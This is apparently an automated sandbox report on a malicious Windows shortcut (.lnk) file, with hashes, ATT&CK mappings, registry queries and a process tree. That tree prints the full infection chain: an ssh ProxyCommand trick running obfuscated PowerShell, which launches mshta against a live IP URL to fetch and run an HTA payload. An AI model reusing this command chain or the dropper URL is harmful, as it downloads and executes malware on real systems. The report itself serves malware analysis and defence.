32a98d1b299d1feebb096cdeb38433013b7db6adf5d9923b539390d777bfac3f

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
27-12-2024 07:39

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General

Target

0306addb386436ae663da152bee03226.lnk
Size

2KB
MD5

0306addb386436ae663da152bee03226
SHA1

0c35bff3dafec0f21436b6db025a24e0102ce7b7
SHA256

32a98d1b299d1feebb096cdeb38433013b7db6adf5d9923b539390d777bfac3f
SHA512

b5508d380b65cc364d378f1ea69d33b9f4eed2f45b9cd48a4b13cd51e97d7e77eccf81516eca2b14229bfda80d05277693a03093ea7f553db88c78946bc718f7

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://150.241.97.10/aaa.mp4

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
9	752	mshta.exe
13	752	mshta.exe
16	752	mshta.exe
22	752	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3120	powershell.exe
536	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3120	powershell.exe
3120	powershell.exe
536	powershell.exe
536	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3120	powershell.exe
Token: SeDebugPrivilege	536	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4928 wrote to memory of 3040	4928	cmd.exe	84
PID 4928 wrote to memory of 3040	4928	cmd.exe	84
PID 3040 wrote to memory of 3120	3040	ssh.exe	85
PID 3040 wrote to memory of 3120	3040	ssh.exe	85
PID 3120 wrote to memory of 536	3120	powershell.exe	86
PID 3120 wrote to memory of 536	3120	powershell.exe	86
PID 536 wrote to memory of 752	536	powershell.exe	87
PID 536 wrote to memory of 752	536	powershell.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\0306addb386436ae663da152bee03226.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4928
- C:\Windows\System32\OpenSSH\ssh.exe
  "C:\Windows\System32\OpenSSH\ssh.exe" -o ProxyCommand="powershell powershell -Command '|\|AbH4Q3w|fYZxmshta https://150.241.97.10/aaa.mp4|\|AbH4Q3w|fYZx'.SubString(15, 35)" .
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell powershell -Command '|\|AbH4Q3w|fYZxmshta https://150.241.97.10/aaa.mp4|\|AbH4Q3w|fYZx'.SubString(15, 35)
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta https://150.241.97.10/aaa.mp4"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:536
    - - C:\Windows\system32\mshta.exe
        
        "C:\Windows\system32\mshta.exe" https://150.241.97.10/aaa.mp4
        5⤵
        Blocklisted process makes network request
        
        PID:752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3b8ef11aff69e43d47f234d5ee0a72b3

SHA1
3869fe51c123c88c1be43b11044b580097466f26

SHA256
0025a82d5c9ef9b1786333fb007e72601dfbf9340d75230f8a3e687e6a107889

SHA512
b46facc11d98c50dacbbd9f36d4715402356d95eed1c073615fcd680bfb142b39830311915fba16a7d8ec0e71640c5d4e9f78930916b8f6432a0f0c203f6fc2b

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dflondzn.b5y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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memory/3120-0-0x00007FF8DF773000-0x00007FF8DF775000-memory.dmp

Filesize
8KB

Download
memory/3120-1-0x000001DAC3DA0000-0x000001DAC3DC2000-memory.dmp

Filesize
136KB

Download
memory/3120-11-0x00007FF8DF770000-0x00007FF8E0231000-memory.dmp

Filesize
10.8MB

Download
memory/3120-12-0x00007FF8DF770000-0x00007FF8E0231000-memory.dmp

Filesize
10.8MB

Download
memory/3120-27-0x00007FF8DF770000-0x00007FF8E0231000-memory.dmp

Filesize
10.8MB

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